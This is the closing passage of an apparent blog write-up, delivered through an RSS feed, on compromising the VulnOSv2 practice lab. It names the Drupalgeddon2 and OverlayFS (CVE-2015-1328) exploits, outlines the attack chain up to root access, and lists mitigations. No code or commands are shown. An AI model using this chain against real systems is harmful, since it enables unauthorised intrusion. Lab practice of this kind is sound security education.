Used</h3><h3>Drupalgeddon2</h3><ul><li>Remote Code Execution</li><li>Affected Drupal 7/8 systems</li></ul><h3>OverlayFS — CVE-2015–1328</h3><ul><li>Ubuntu local privilege escalation</li><li>Vulnerable Linux kernel implementation</li></ul><h3>Attack Chain Summary</h3><ol><li>Network discovery</li><li>Port scanning</li><li>Drupal enumeration</li><li>Drupalgeddon2 exploitation</li><li>Meterpreter session</li><li>Local system enumeration</li><li>OverlayFS privilege escalation</li><li>Root access achieved</li></ol><h3>Mitigation</h3><h3>Web Security</h3><ul><li>Update Drupal immediately</li><li>Remove unused modules</li><li>Restrict dangerous PHP functions</li><li>Implement Web Application Firewall (WAF)</li></ul><h3>System Security</h3><ul><li>Keep Linux kernels patched</li><li>Remove unnecessary SUID binaries</li><li>Restrict compiler usage</li><li>Monitor web server processes</li></ul><h3>Conclusion</h3><p>VulnOSv2 is a fantastic machine for practicing real-world web exploitation and Linux privilege escalation techniques.</p><p>This lab demonstrated how:</p><ul><li>An outdated Drupal application</li><li>Combined with an unpatched Linux kernel</li></ul><p>can result in a complete system compromise.</p><p>The machine provided excellent practice for:</p><ul><li>Enumeration</li><li>Exploitation</li><li>Post-exploitation</li><li>Privilege escalation</li><li>Root compromise</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d0a00aa64129" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>